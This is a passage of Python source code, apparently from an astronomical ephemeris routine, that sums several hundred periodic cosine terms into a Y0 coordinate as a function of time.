Y0 += 0.00000088518 * math.cos(4.23259429373 + 328.1087761737 * self.t)
Y0 += 0.00000065817 * math.cos(6.14060374302 + 36.3711155512 * self.t)
Y0 += 0.00000071422 * math.cos(2.66025338551 + 43.79347909271 * self.t)
Y0 += 0.00000063298 * math.cos(0.64067085772 + 9.1506537333 * self.t)
Y0 += 0.00000077320 * math.cos(1.83922353490 + 97.17169833279 * self.t)
Y0 += 0.00000073912 * math.cos(3.29477271110 + 2.6769438233 * self.t)
Y0 += 0.00000073965 * math.cos(3.98729910569 + 2.9521304692 * self.t)
Y0 += 0.00000056194 * math.cos(2.88777806681 + 949.4194264533 * self.t)
Y0 += 0.00000059173 * math.cos(2.98452265287 + 100.14064374939 * self.t)
Y0 += 0.00000067507 * math.cos(2.37620743833 + 7.14491616321 * self.t)
Y0 += 0.00000071718 * math.cos(2.50472239979 + 2.20386307129 * self.t)
Y0 += 0.00000063606 * math.cos(3.60095909928 + 25.8466801491 * self.t)
Y0 += 0.00000071523 * math.cos(3.62910110768 + 662.28738607949 * self.t)
Y0 += 0.00000057219 * math.cos(5.59723911326 + 15.7429358723 * self.t)
Y0 += 0.00000050322 * math.cos(5.79549186801 + 37.15301284391 * self.t)
Y0 += 0.00000066615 * math.cos(1.85382631980 + 846.3266522347 * self.t)
Y0 += 0.00000056220 * math.cos(6.09466556848 + 178.5455790391 * self.t)
Y0 += 0.00000067883 * math.cos(2.31467094623 + 224.5886131854 * self.t)
Y0 += 0.00000057761 * math.cos(3.59414048269 + 145.35359649321 * self.t)
Y0 += 0.00000053973 * math.cos(4.68325129609 + 107.2205608554 * self.t)
Y0 += 0.00000057588 * math.cos(0.13600413206 + 25.3590451821 * self.t)
Y0 += 0.00000049026 * math.cos(5.99075269953 + 19.2543980101 * self.t)
Y0 += 0.00000063036 * math.cos(5.86840206029 + 256.296123023 * self.t)
Y0 += 0.00000045304 * math.cos(5.57731819351 + 4.1759707466 * self.t)
Y0 += 0.00000045669 * math.cos(0.60467903265 + 117.6118698135 * self.t)
Y0 += 0.00000052821 * math.cos(5.35013106251 + 289.97574053589 * self.t)
Y0 += 0.00000044016 * math.cos(0.68418990599 + 32.7477788288 * self.t)
Y0 += 0.00000042933 * math.cos(1.50265323283 + 28.98238190449 * self.t)
Y0 += 0.00000038369 * math.cos(5.07841615051 + 39.6006933987 * self.t)
Y0 += 0.00000038805 * math.cos(2.55324300089 + 103.3365917021 * self.t)
Y0 += 0.00000037679 * math.cos(4.97176992254 + 9.3174100721 * self.t)
Y0 += 0.00000040292 * math.cos(1.32694372497 + 111.18634401329 * self.t)
Y0 += 0.00000050011 * math.cos(4.62887079290 + 221.61966776881 * self.t)
Y0 += 0.00000037056 * math.cos(3.05929116522 + 8.32057233081 * self.t)
Y0 += 0.00000036562 * math.cos(1.75628268654 + 448.98829064149 * self.t)
Y0 += 0.00000044628 * math.cos(5.39841763538 + 525.2543619171 * self.t)
Y0 += 0.00000038213 * math.cos(4.99269276748 + 75.54668091261 * self.t)
Y0 += 0.00000045963 * math.cos(2.49324091181 + 183.486632131 * self.t)
Y0 += 0.00000048222 * math.cos(4.38408318526 + 364.7573391032 * self.t)
Y0 += 0.00000038164 * math.cos(3.66287516322 + 44.00592741381 * self.t)
Y0 += 0.00000047779 * math.cos(4.62193118070 + 3340.8562441833 * self.t)
Y0 += 0.00000042228 * math.cos(4.07611308238 + 77.0311536209 * self.t)
Y0 += 0.00000035247 * math.cos(4.92005743728 + 34.7535163989 * self.t)
Y0 += 0.00000046804 * math.cos(5.53981795511 + 33.6964324603 * self.t)
Y0 += 0.00000034352 * math.cos(5.79527968049 + 33.71098667531 * self.t)
Y0 += 0.00000034949 * math.cos(3.58463727178 + 3.37951923889 * self.t)
Y0 += 0.00000036030 * math.cos(0.60196271868 + 71.09326278771 * self.t)
Y0 += 0.00000038112 * math.cos(0.94232057009 + 45.9659730016 * self.t)
Y0 += 0.00000033119 * math.cos(3.70714424363 + 7.3573644843 * self.t)
Y0 += 0.00000032049 * math.cos(3.04761071508 + 34.44469985821 * self.t)
Y0 += 0.00000031910 * math.cos(0.20811343013 + 81.61769818981 * self.t)
Y0 += 0.00000038697 * math.cos(1.09830424446 + 184.97110483931 * self.t)
Y0 += 0.00000041486 * math.cos(4.15630010756 + 310.4707937708 * self.t)
Y0 += 0.00000038631 * math.cos(0.74636164144 + 50.9070260935 * self.t)
Y0 += 0.00000042711 * math.cos(0.62152472293 + 1021.49271203491 * self.t)
Y0 += 0.00000032006 * math.cos(5.68829457469 + 42.00018984371 * self.t)
Y0 += 0.00000038436 * math.cos(5.02591476913 + 5.92107588581 * self.t)
Y0 += 0.00000038880 * math.cos(1.72301566300 + 76.55807286891 * self.t)
Y0 += 0.00000041190 * math.cos(3.00922391966 + 563.87503252191 * self.t)
Y0 += 0.00000029786 * math.cos(2.57644898724 + 77.5067265004 * self.t)
Y0 += 0.00000040604 * math.cos(6.04591617823 + 292.9446859525 * self.t)
Y0 += 0.00000035275 * math.cos(3.24596926614 + 304.84171947829 * self.t)
Y0 += 0.00000038242 * math.cos(1.23011716621 + 17.76992530181 * self.t)
Y0 += 0.00000034445 * math.cos(6.05203741506 + 319.06881347989 * self.t)
Y0 += 0.00000028725 * math.cos(0.80354919578 + 67.6366824041 * self.t)
Y0 += 0.00000032809 * math.cos(0.86662032393 + 91.54262404029 * self.t)
Y0 += 0.00000038880 * math.cos(5.27893548994 + 76.4617046493 * self.t)
Y0 += 0.00000030731 * math.cos(3.65388358465 + 67.60305250931 * self.t)
Y0 += 0.00000028459 * math.cos(4.82537806886 + 43.0427195673 * self.t)
Y0 += 0.00000035368 * math.cos(5.14016182775 + 313.43973918739 * self.t)
Y0 += 0.00000035703 * math.cos(4.78026134196 + 258.26823069831 * self.t)
Y0 += 0.00000032317 * math.cos(0.72991843715 + 78.9575693139 * self.t)
Y0 += 0.00000029243 * math.cos(5.01962947605 + 61.01077037031 * self.t)
Y0 += 0.00000026235 * math.cos(2.30979326374 + 137.2768416459 * self.t)
Y0 += 0.00000026519 * math.cos(4.63187110201 + 57.4993082325 * self.t)
Y0 += 0.00000024931 * math.cos(1.02449436120 + 42.997027585 * self.t)
Y0 += 0.00000027608 * math.cos(0.68443037331 + 103.7639804718 * self.t)
Y0 += 0.00000028680 * math.cos(6.22569747241 + 215.1941419686 * self.t)
Y0 += 0.00000025052 * math.cos(0.98956881727 + 350.08830211689 * self.t)
Y0 += 0.00000031386 * math.cos(2.53676810018 + 22.22334342671 * self.t)
Y0 += 0.00000027545 * math.cos(6.02026727313 + 100.6282787164 * self.t)
Y0 += 0.00000022617 * math.cos(1.89172143755 + 36.8441963032 * self.t)
Y0 += 0.00000024909 * math.cos(4.92089915310 + 24.36220744081 * self.t)
Y0 += 0.00000026216 * math.cos(3.37729185316 + 491.8017469403 * self.t)
Y0 += 0.00000028040 * math.cos(1.26215532584 + 11.55015017831 * self.t)
Y0 += 0.00000023047 * math.cos(2.67490790904 + 35.51978228931 * self.t)
Y0 += 0.00000027067 * math.cos(5.52626880418 + 326.62430346539 * self.t)
Y0 += 0.00000026192 * math.cos(0.78880180701 + 20.7388707184 * self.t)
Y0 += 0.00000023134 * math.cos(1.02405904726 + 68.4331339118 * self.t)
Y0 += 0.00000021423 * math.cos(5.59061648293 + 39.90950993941 * self.t)
Y0 += 0.00000025696 * math.cos(5.03652999676 + 186.4555775476 * self.t)
Y0 += 0.00000026985 * math.cos(1.96185307311 + 69.6087900794 * self.t)
Y0 += 0.00000023284 * math.cos(1.14508397457 + 79.43065006591 * self.t)
Y0 += 0.00000022894 * math.cos(5.33085965806 + 227.77000692311 * self.t)
Y0 += 0.00000022482 * math.cos(5.43588494929 + 39.8131417198 * self.t)
Y0 += 0.00000023480 * math.cos(5.96723336237 + 30.9881194746 * self.t)
Y0 += 0.00000020858 * math.cos(1.66497796416 + 41.2339239533 * self.t)
Y0 += 0.00000020327 * math.cos(5.86806874135 + 39.0312444271 * self.t)
Y0 += 0.00000020327 * math.cos(4.75570383217 + 37.72246181551 * self.t)
Y0 += 0.00000022639 * math.cos(1.78594954268 + 0.9800227939 * self.t)
Y0 += 0.00000022639 * math.cos(4.92754219627 + 1.46765776091 * self.t)
Y0 += 0.00000019139 * math.cos(1.60585998738 + 205.9417309537 * self.t)
Y0 += 0.00000019118 * math.cos(0.05485235310 + 2119.00767786191 * self.t)
Y0 += 0.00000025698 * math.cos(4.54722652155 + 401.4059020327 * self.t)
Y0 += 0.00000021582 * math.cos(5.86612346662 + 81.13006322279 * self.t)
Y0 += 0.00000025509 * math.cos(6.21909191790 + 329.593248882 * self.t)
Y0 += 0.00000024296 * math.cos(3.68761645751 + 62.0076081116 * self.t)
Y0 += 0.00000023969 * math.cos(2.45967218561 + 135.3047339706 * self.t)
Y0 += 0.00000020599 * math.cos(6.09025723810 + 491.3141119733 * self.t)
Y0 += 0.00000016829 * math.cos(4.06509805545 + 3.1645787903 * self.t)
Y0 += 0.00000020030 * math.cos(2.45066995549 + 217.4750661846 * self.t)
Y0 += 0.00000020377 * math.cos(5.60617244490 + 209.6107596584 * self.t)
Y0 += 0.00000017251 * math.cos(1.00239992257 + 350.5759370839 * self.t)
Y0 += 0.00000019625 * math.cos(1.41143867859 + 129.6756596781 * self.t)
Y0 += 0.00000022707 * math.cos(0.97867191772 + 1436.2969352491 * self.t)
Y0 += 0.00000017142 * math.cos(4.71740830608 + 29.4700168715 * self.t)
Y0 += 0.00000016188 * math.cos(3.33781568208 + 39.00999256771 * self.t)
Y0 += 0.00000016188 * math.cos(1.00277158426 + 37.7437136749 * self.t)
Y0 += 0.00000020858 * math.cos(3.10425391408 + 58.9837809408 * self.t)
Y0 += 0.00000015747 * math.cos(0.31821188942 + 154.260432743 * self.t)
Y0 += 0.00000019714 * math.cos(5.04477015525 + 294.91679362781 * self.t)
Y0 += 0.00000019078 * math.cos(1.16675280621 + 202.4972126576 * self.t)
Y0 += 0.00000021530 * math.cos(4.95075882360 + 114.1552894299 * self.t)
Y0 += 0.00000019068 * math.cos(3.39813326972 + 138.2736793872 * self.t)
Y0 += 0.00000018723 * math.cos(4.64325038338 + 323.74923414091 * self.t)
Y0 += 0.00000018916 * math.cos(3.89922448206 + 40.3825906914 * self.t)
Y0 += 0.00000015843 * math.cos(4.98899291519 + 72.577735496 * self.t)
Y0 += 0.00000020695 * math.cos(3.75000782446 + 86.07111631471 * self.t)
Y0 += 0.00000015895 * math.cos(4.16120885988 + 736.1203310153 * self.t)
Y0 += 0.00000014983 * math.cos(0.56469438588 + 743.23387801611 * self.t)
Y0 += 0.00000014928 * math.cos(5.49703861671 + 34.23225153711 * self.t)
Y0 += 0.00000015461 * math.cos(4.47518787654 + 20.850745303 * self.t)
Y0 += 0.00000016206 * math.cos(4.48895168117 + 138.76131435421 * self.t)
Y0 += 0.00000015978 * math.cos(5.56972981392 + 515.70768857651 * self.t)
Y0 += 0.00000014173 * math.cos(1.42508198977 + 99.1438060081 * self.t)
Y0 += 0.00000018749 * math.cos(1.80466304752 + 54.5303628159 * self.t)
Y0 += 0.00000013971 * math.cos(3.54176522468 + 76.77052119001 * self.t)
Y0 += 0.00000013971 * math.cos(3.46018552739 + 76.2492563282 * self.t)
Y0 += 0.00000014035 * math.cos(6.02847994013 + 235.68919520349 * self.t)
Y0 += 0.00000018894 * math.cos(3.02786191873 + 31.4757544416 * self.t)
Y0 += 0.00000014967 * math.cos(5.68342907224 + 52.3914988018 * self.t)
Y0 += 0.00000017392 * math.cos(0.12268817693 + 74.0622082043 * self.t)
Y0 += 0.00000014788 * math.cos(3.43864596335 + 56.01483552421 * self.t)
Y0 += 0.00000015758 * math.cos(1.26184897401 + 208.8624922605 * self.t)
Y0 += 0.00000012911 * math.cos(5.12673395733 + 42.5214547055 * self.t)
Y0 += 0.00000014356 * math.cos(0.18539168671 + 251.8427048981 * self.t)
Y0 += 0.00000016266 * math.cos(3.39270678896 + 853.4401992355 * self.t)
Y0 += 0.00000015513 * math.cos(2.59603540214 + 59.038662695 * self.t)
Y0 += 0.00000012783 * math.cos(0.77187700977 + 107.52937739611 * self.t)
Y0 += 0.00000016075 * math.cos(0.02096626523 + 366.24181181149 * self.t)
Y0 += 0.00000014277 * math.cos(3.31408666848 + 19.36627259471 * self.t)
Y0 += 0.00000014742 * math.cos(6.26354356543 + 82.4477795923 * self.t)
Y0 += 0.00000015111 * math.cos(5.70708654477 + 363.27286639489 * self.t)
Y0 += 0.00000014981 * math.cos(1.17119164980 + 82.6145359311 * self.t)
Y0 += 0.00000014840 * math.cos(5.34075197148 + 44.0541115236 * self.t)
Y0 += 0.00000015592 * math.cos(5.74434423333 + 8.6293888715 * self.t)
Y0 += 0.00000014568 * math.cos(0.45025790013 + 73.80157577341 * self.t)
Y0 += 0.00000012251 * math.cos(5.90063123167 + 47.28368937111 * self.t)
Y0 += 0.00000011447 * math.cos(5.62613164770 + 175.40987728371 * self.t)
Y0 += 0.00000013900 * math.cos(0.93353054847 + 700.4204217173 * self.t)
Y0 += 0.00000015583 * math.cos(5.46046493452 + 837.4534458797 * self.t)
Y0 += 0.00000012109 * math.cos(0.53062884942 + 33.0084112597 * self.t)
Y0 += 0.00000012379 * math.cos(0.87778018320 + 140.4125434013 * self.t)
Y0 += 0.00000011481 * math.cos(3.65591005670 + 39.2069345238 * self.t)
Y0 += 0.00000011481 * math.cos(0.68467720964 + 37.54677171881 * self.t)
Y0 += 0.00000011452 * math.cos(5.92350892067 + 529.4135177163 * self.t)
Y0 += 0.00000010981 * math.cos(1.58931744102 + 63.49208081989 * self.t)
Y0 += 0.00000012137 * math.cos(0.75938098769 + 42.3090063844 * self.t)
Y0 += 0.00000013771 * math.cos(2.92318261793 + 76.62176334371 * self.t)
Y0 += 0.00000011036 * math.cos(1.59378256377 + 530.45604743991 * self.t)
Y0 += 0.00000011537 * math.cos(2.72370023352 + 199.3158189199 * self.t)
Y0 += 0.00000011189 * math.cos(1.67388131435 + 80.1332254815 * self.t)
Y0 += 0.00000012835 * math.cos(2.83910944143 + 38.85242600079 * self.t)
Y0 += 0.00000012879 * math.cos(0.03161787960 + 5.69407334969 * self.t)
Y0 += 0.00000013663 * math.cos(4.69897705757 + 438.0544649622 * self.t)
Y0 += 0.00000010132 * math.cos(2.80479631986 + 187.9400502559 * self.t)
Y0 += 0.00000012619 * math.cos(3.09097380707 + 65.2035560643 * self.t)
Y0 += 0.00000010088 * math.cos(1.41143864412 + 26.58288545949 * self.t)
Y0 += 0.00000011959 * math.cos(1.19714206196 + 64.7159210973 * self.t)
Y0 += 0.00000011578 * math.cos(5.81790016857 + 275.3067035496 * self.t)
Y0 += 0.00000012795 * math.cos(1.66756565053 + 17.8817998864 * self.t)
Y0 += 0.00000013771 * math.cos(4.07876849292 + 76.3980141745 * self.t)
Y0 += 0.00000010044 * math.cos(1.67224715151 + 147.83490694279 * self.t)
Y0 += 0.00000013632 * math.cos(1.29603813384 + 45.277951801 * self.t)
Y0 += 0.00000011660 * math.cos(4.22880871720 + 143.9027536797 * self.t)
Y0 += 0.00000009938 * math.cos(5.79050109000 + 6.86972951729 * self.t)
Y0 += 0.00000009719 * math.cos(4.48706829937 + 956.53297345411 * self.t)
Y0 += 0.00000011441 * math.cos(5.32553485636 + 533.8669358412 * self.t)
Y0 += 0.00000010240 * math.cos(1.34767099242 + 80.7026744531 * self.t)
Y0 += 0.00000010031 * math.cos(3.80995841826 + 43.74529498291 * self.t)
Y0 += 0.00000010063 * math.cos(1.05825122331 + 0.27744737829 * self.t)
Y0 += 0.00000011428 * math.cos(2.19933512981 + 526.00262931501 * self.t)
Y0 += 0.00000009279 * math.cos(1.45482205447 + 79.6455905145 * self.t)
Y0 += 0.00000010172 * math.cos(0.89461094062 + 568.0678182159 * self.t)
Y0 += 0.00000009198 * math.cos(0.36520539350 + 112.6708167216 * self.t)
Y0 += 0.00000009831 * math.cos(4.06082180622 + 20.9056270572 * self.t)
Y0 += 0.00000009830 * math.cos(1.93960888370 + 544.1618765797 * self.t)
Y0 += 0.00000008646 * math.cos(6.06265529598 + 30.7756711535 * self.t)
Y0 += 0.00000009315 * math.cos(1.72769398395 + 65.63094483399 * self.t)
Y0 += 0.00000009201 * math.cos(1.66299093770 + 184.48346987229 * self.t)
Y0 += 0.00000008674 * math.cos(3.58250353029 + 624.1543504417 * self.t)
Y0 += 0.00000010739 * math.cos(5.20958133978 + 331.56535655731 * self.t)
Y0 += 0.00000009612 * math.cos(3.81549627985 + 182.00215942271 * self.t)
Y0 += 0.00000008664 * math.cos(4.05357381243 + 1479.11039154791 * self.t)
Y0 += 0.00000008092 * math.cos(4.08843223898 + 6.8360996225 * self.t)
Y0 += 0.00000010092 * math.cos(0.00357719036 + 419.2408263917 * self.t)
Y0 += 0.00000010233 * math.cos(0.16992310980 + 402.89037474099 * self.t)
Y0 += 0.00000008502 * math.cos(3.60646753260 + 17.39416491939 * self.t)
Y0 += 0.00000010189 * math.cos(1.01906004060 + 21.7020785649 * self.t)
Y0 += 0.00000009829 * math.cos(3.66564448678 + 121.2352065359 * self.t)
Y0 += 0.00000008406 * math.cos(4.04270651029 + 376.9150050599 * self.t)
Y0 += 0.00000008060 * math.cos(4.05224638436 + 415.7963080956 * self.t)
Y0 += 0.00000009455 * math.cos(1.63876624122 + 167.80869531589 * self.t)
Y0 += 0.00000007941 * math.cos(6.14526289331 + 526.7533888404 * self.t)
Y0 += 0.00000007870 * math.cos(1.33260101318 + 533.1161763158 * self.t)
Y0 += 0.00000007695 * math.cos(2.49810660877 + 906.60597015449 * self.t)
Y0 += 0.00000007862 * math.cos(5.62722995177 + 1265.81129610991 * self.t)
Y0 += 0.00000008062 * math.cos(5.84124471296 + 105.7360881471 * self.t)
Y0 += 0.00000008904 * math.cos(5.87904582316 + 399.9214293244 * self.t)
Y0 += 0.00000008050 * math.cos(4.85961454632 + 143.8691237849 * self.t)
Y0 += 0.00000009102 * math.cos(3.20438608836 + 348.17644063891 * self.t)
Y0 += 0.00000007137 * math.cos(5.97349520503 + 117.5636857037 * self.t)
Y0 += 0.00000007076 * math.cos(4.77037120491 + 26.84351789039 * self.t)
Y0 += 0.00000008418 * math.cos(6.19754313245 + 77.73372903651 * self.t)
Y0 += 0.00000008257 * math.cos(6.01515603184 + 117.77862615229 * self.t)
Y0 += 0.00000007868 * math.cos(0.36467826737 + 288.4912678276 * self.t)
Y0 += 0.00000008093 * math.cos(5.12697881207 + 1692.40948698591 * self.t)
Y0 += 0.00000006910 * math.cos(5.16028730720 + 216.72430665921 * self.t)
Y0 += 0.00000007092 * math.cos(1.58416634960 + 452.65981147369 * self.t)
Y0 += 0.00000007060 * math.cos(3.50187723218 + 453.7023411973 * self.t)
Y0 += 0.00000008233 * math.cos(5.07959772857 + 480.00777927849 * self.t)
Y0 += 0.00000006772 * math.cos(2.89170457209 + 210.36151918381 * self.t)
Y0 += 0.00000007025 * math.cos(6.13907268455 + 55.9029609396 * self.t)
Y0 += 0.00000008356 * math.cos(3.67079730328 + 95.7354097343 * self.t)
Y0 += 0.00000007404 * math.cos(5.71532443096 + 75.2860484817 * self.t)
Y0 += 0.00000006839 * math.cos(2.57023077532 + 41.5125548767 * self.t)
Y0 += 0.00000007909 * math.cos(0.07288588503 + 36.63174798211 * self.t)
Y0 += 0.00000007909 * math.cos(1.12610872772 + 40.12195826051 * self.t)
Y0 += 0.00000006362 * math.cos(4.97586429633 + 29.99128173331 * self.t)
Y0 += 0.00000006712 * math.cos(2.41218446093 + 133.82026126229 * self.t)
Y0 += 0.00000007571 * math.cos(1.24658605384 + 23.707816135 * self.t)
Y0 += 0.00000006677 * math.cos(4.81403056382 + 1.20702533 * self.t)
Y0 += 0.00000007600 * math.cos(1.64374414108 + 494.2348732801 * self.t)
Y0 += 0.00000008009 * math.cos(1.96165940869 + 170.72945662269 * self.t)
Y0 += 0.00000007584 * math.cos(1.33750538789 + 119.2630988606 * self.t)
Y0 += 0.00000006599 * math.cos(0.68440943828 + 32.226513967 * self.t)
Y0 += 0.00000006085 * math.cos(3.39985070945 + 322.00412900171 * self.t)
Y0 += 0.00000005953 * math.cos(0.92774911672 + 52214.1831362697 * self.t)
Y0 += 0.00000007827 * math.cos(4.85672910517 + 474.7030278917 * self.t)
Y0 += 0.00000007907 * math.cos(6.03373097658 + 485.63685357099 * self.t)
Y0 += 0.00000007372 * math.cos(3.31633214824 + 55.05162767771 * self.t)
Y0 += 0.00000006966 * math.cos(4.03472609774 + 647.25465079831 * self.t)
Y0 += 0.00000006266 * math.cos(1.06894881555 + 177.0611063308 * self.t)
Y0 += 0.00000005900 * math.cos(0.21363873876 + 52061.16335875149 * self.t)
Y0 += 0.00000006221 * math.cos(0.78444326027 + 602.00806815971 * self.t)
Y0 += 0.00000005552 * math.cos(4.30656362928 + 223.1041404771 * self.t)
Y0 += 0.00000005976 * math.cos(3.40178743225 + 10.8018827804 * self.t)
Y0 += 0.00000007600 * math.cos(0.62565658069 + 488.6057989876 * self.t)
Y0 += 0.00000006831 * math.cos(4.75854396498 + 1582.2031657665 * self.t)
Y0 += 0.00000005654 * math.cos(1.46952482126 + 12604.5285531041 * self.t)
Y0 += 0.00000005798 * math.cos(2.70754675899 + 27.4979091962 * self.t)
Y0 += 0.00000007216 * math.cos(4.89431192173 + 739.0410923221 * self.t)
Y0 += 0.00000006579 * math.cos(2.37730114095 + 2.69149803831 * self.t)
Y0 += 0.00000005758 * math.cos(1.25264555408 + 30.0394658431 * self.t)
Y0 += 0.00000005270 * math.cos(5.03822712313 + 6166.94845288619 * self.t)
Y0 += 0.00000007398 * math.cos(2.15412967054 + 709.721016842 * self.t)
Y0 += 0.00000005679 * math.cos(4.34696450423 + 17.22740858061 * self.t)
Y0 += 0.00000005205 * math.cos(4.18097270804 + 426.3543733925 * self.t)
Y0 += 0.00000005146 * math.cos(5.52411562781 + 46.7624245093 * self.t)
Y0 += 0.00000005694 * math.cos(4.51992731423 + 168.98435148349 * self.t)
Y0 += 0.00000006627 * math.cos(1.36429825841 + 221.13203280179 * self.t)
Y0 += 0.00000005443 * math.cos(2.77787969707 + 525.7419968841 * self.t)
Y0 += 0.00000006475 * math.cos(0.95284661304 + 591.07424248041 * self.t)
Y0 += 0.00000004984 * math.cos(0.17849511014 + 10097.15814910579 * self.t)
Y0 += 0.00000005318 * math.cos(3.65617684169 + 44.52719227561 * self.t)
Y0 += 0.00000006699 * math.cos(1.37968332714 + 2157.1407134997 * self.t)
Y0 += 0.00000006443 * math.cos(4.07988524250 + 675.0445615878 * self.t)
Y0 += 0.00000005078 * math.cos(2.53592755854 + 101.62511645769 * self.t)
Y0 += 0.00000005394 * math.cos(5.60187660250 + 368.21391948681 * self.t)
Y0 += 0.00000005072 * math.cos(4.09677163290 + 272.33775813299 * self.t)
Y0 += 0.00000005208 * math.cos(2.96070554414 + 277.2788112249 * self.t)
Y0 += 0.00000005332 * math.cos(2.85701594895 + 280.9357778421 * self.t)
Y0 += 0.00000005989 * math.cos(1.18032513011 + 93.0270967486 * self.t)
Y0 += 0.00000006329 * math.cos(2.06650240521 + 18.87863762769 * self.t)
Y0 += 0.00000005551 * math.cos(0.99966130596 + 57.3874336479 * self.t)
Y0 += 0.00000006471 * math.cos(4.75702433578 + 68.1243173711 * self.t)
Y0 += 0.00000004708 * math.cos(3.81000728156 + 95.68722562449 * self.t)
Y0 += 0.00000005891 * math.cos(4.39361748912 + 381.5954257209 * self.t)
Y0 += 0.00000004717 * math.cos(5.88762112195 + 104.2852453336 * self.t)
Y0 += 0.00000005675 * math.cos(0.14149668499 + 1165.6392831981 * self.t)
Y0 += 0.00000005888 * math.cos(2.00299136957 + 42.34263627919 * self.t)
Y0 += 0.00000005587 * math.cos(2.52090459839 + 459.6066021357 * self.t)
Y0 += 0.00000005456 * math.cos(3.07944464122 + 75.50098893029 * self.t)
Y0 += 0.00000005940 * math.cos(4.70996040917 + 6318.4837576961 * self.t)
Y0 += 0.00000005207 * math.cos(6.12213701959 + 436.5699922539 * self.t)
Y0 += 0.00000006160 * math.cos(3.18966815531 + 749.82616015511 * self.t)
Y0 += 0.00000006137 * math.cos(3.02268593798 + 713.17759722561 * self.t)
Y0 += 0.00000004547 * math.cos(3.96298179960 + 32.47259218289 * self.t)
Y0 += 0.00000005246 * math.cos(0.26649341993 + 109.9625037359 * self.t)
Y0 += 0.00000005244 * math.cos(0.76595138199 + 73.5891274523 * self.t)
Y0 += 0.00000005572 * math.cos(4.54958395511 + 102.11275142471 * self.t)
Y0 += 0.00000005638 * math.cos(6.13292790226 + 10248.6934539157 * self.t)
Y0 += 0.00000004513 * math.cos(0.05769066183 + 1272.9248431107 * self.t)
Y0 += 0.00000004340 * math.cos(3.93529499489 + 384.02855206069 * self.t)
Y0 += 0.00000004263 * math.cos(5.81710901839 + 1577.52274510549 * self.t)
Y0 += 0.00000005964 * math.cos(3.35563503899 + 786.47472308461 * self.t)
Y0 += 0.00000004962 * math.cos(1.38600480216 + 257.78059573129 * self.t)
Y0 += 0.00000005327 * math.cos(4.13135597763 + 107.74182571721 * self.t)
Y0 += 0.00000005572 * math.cos(5.58677005833 + 291.2934569054 * self.t)
Y0 += 0.00000004336 * math.cos(1.08874295813 + 53.40958840249 * self.t)
Y0 += 0.00000004427 * math.cos(1.43077618159 + 189.42452296421 * self.t)
Y0 += 0.00000004157 * math.cos(5.03727532307 + 29.5036467663 * self.t)
Y0 += 0.00000004646 * math.cos(4.44853801893 + 13285.93981804009 * self.t)
Y0 += 0.00000005507 * math.cos(2.70385106164 + 178.11819026941 * self.t)
Y0 += 0.00000005348 * math.cos(6.13707191030 + 24.88347230261 * self.t)
Y0 += 0.00000005339 * math.cos(5.48920294964 + 314.6635794648 * self.t)
Y0 += 0.00000004678 * math.cos(6.00688425085 + 1474.4299708869 * self.t)
Y0 += 0.00000004090 * math.cos(4.92713296866 + 765.3801602981 * self.t)
Y0 += 0.00000005008 * math.cos(4.28621887979 + 352.06040979221 * self.t)
Y0 += 0.00000005562 * math.cos(5.12126233744 + 6248.1555772537 * self.t)
Y0 += 0.00000004983 * math.cos(1.59156517574 + 1055.43296197871 * self.t)
Y0 += 0.00000004566 * math.cos(0.54461731254 + 325.1398307571 * self.t)
Y0 += 0.00000005327 * math.cos(0.54108371123 + 439.53893767049 * self.t)
Y0 += 0.00000005121 * math.cos(4.27746071897 + 711.6931245173 * self.t)
Y0 += 0.00000004181 * math.cos(2.68829223641 + 6606.1994373488 * self.t)
Y0 += 0.00000004293 * math.cos(3.08794166207 + 46.71424039951 * self.t)
Y0 += 0.00000005532 * math.cos(2.10559407460 + 320.03202132639 * self.t)
Y0 += 0.00000004492 * math.cos(4.81151725335 + 52177.53457334019 * self.t)
Y0 += 0.00000004312 * math.cos(6.10122311855 + 22.8777347325 * self.t)
Y0 += 0.00000005332 * math.cos(0.25990559894 + 10178.3652734733 * self.t)
Y0 += 0.00000004593 * math.cos(4.86059649000 + 1025.6854977289 * self.t)
Y0 += 0.00000005439 * math.cos(3.52367947540 + 823.12328601411 * self.t)
Y0 += 0.00000003870 * math.cos(2.70915745235 + 1596.43025976811 * self.t)
Y0 += 0.00000003892 * math.cos(0.54485159298 + 226.07308589371 * self.t)
Y0 += 0.00000004891 * math.cos(4.37893659385 + 8.1417539045 * self.t)
Y0 += 0.00000004689 * math.cos(5.09142557332 + 276.79117625789 * self.t)
Y0 += 0.00000004268 * math.cos(1.02189794794 + 374.15181032 * self.t)
Y0 += 0.00000003828 * math.cos(3.85156237339 + 2138.2331988371 * self.t)
Y0 += 0.00000004592 * math.cos(2.30447944615 + 1376.0176173293 * self.t)
Y0 += 0.00000004629 * math.cos(5.68948058955 + 122.71967924421 * self.t)
Y0 += 0.00000003871 * math.cos(1.60468692916 + 531.4192552864 * self.t)
Y0 += 0.00000004995 * math.cos(5.03302660981 + 32.69959471901 * self.t)
Y0 += 0.00000004711 * math.cos(5.14987215661 + 52252.31617190749 * self.t)
Y0 += 0.00000003893 * math.cos(1.69554966790 + 116.294153444 * self.t)
Y0 += 0.00000004481 * math.cos(3.09400209140 + 53.0458901076 * self.t)
Y0 += 0.00000004136 * math.cos(1.02307294098 + 503.1080796351 * self.t)
Y0 += 0.00000004508 * math.cos(2.81495366139 + 562.12992738271 * self.t)
Y0 += 0.00000005025 * math.cos(1.96944866339 + 283.38345839689 * self.t)
Y0 += 0.00000004789 * math.cos(1.11612617111 + 627.7228054099 * self.t)
Y0 += 0.00000004021 * math.cos(1.71534059601 + 6603.23049193219 * self.t)
Y0 += 0.00000005163 * math.cos(0.06221778581 + 25519.83532335829 * self.t)
Y0 += 0.00000004150 * math.cos(2.29239909221 + 27.443027442 * self.t)
Y0 += 0.00000003623 * math.cos(0.72377687032 + 1665.5827840429 * self.t)
Y0 += 0.00000004634 * math.cos(3.36220803589 + 3227.45397501119 * self.t)
Y0 += 0.00000004060 * math.cos(4.64578985602 + 304.4780211834 * self.t)
Y0 += 0.00000003862 * math.cos(5.22051626712 + 74.504151189 * self.t)
Y0 += 0.00000003561 * math.cos(3.35891592080 + 358.6526919312 * self.t)
Y0 += 0.00000004557 * math.cos(1.56282166634 + 25974.74468988559 * self.t)
Y0 += 0.00000004264 * math.cos(3.13963744879 + 634.93941827469 * self.t)
Y0 += 0.00000004482 * math.cos(0.13471172639 + 342.61105682121 * self.t)
Y0 += 0.00000003539 * math.cos(5.28146842802 + 119.7507338276 * self.t)
Y0 += 0.00000004304 * math.cos(5.35023544496 + 12567.8799901746 * self.t)
Y0 += 0.00000004138 * math.cos(5.60646772527 + 107.2541907502 * self.t)
Y0 += 0.00000004284 * math.cos(1.62500514182 + 294.42915866079 * self.t)
Y0 += 0.00000003723 * math.cos(0.87405503812 + 987.325459555 * self.t)
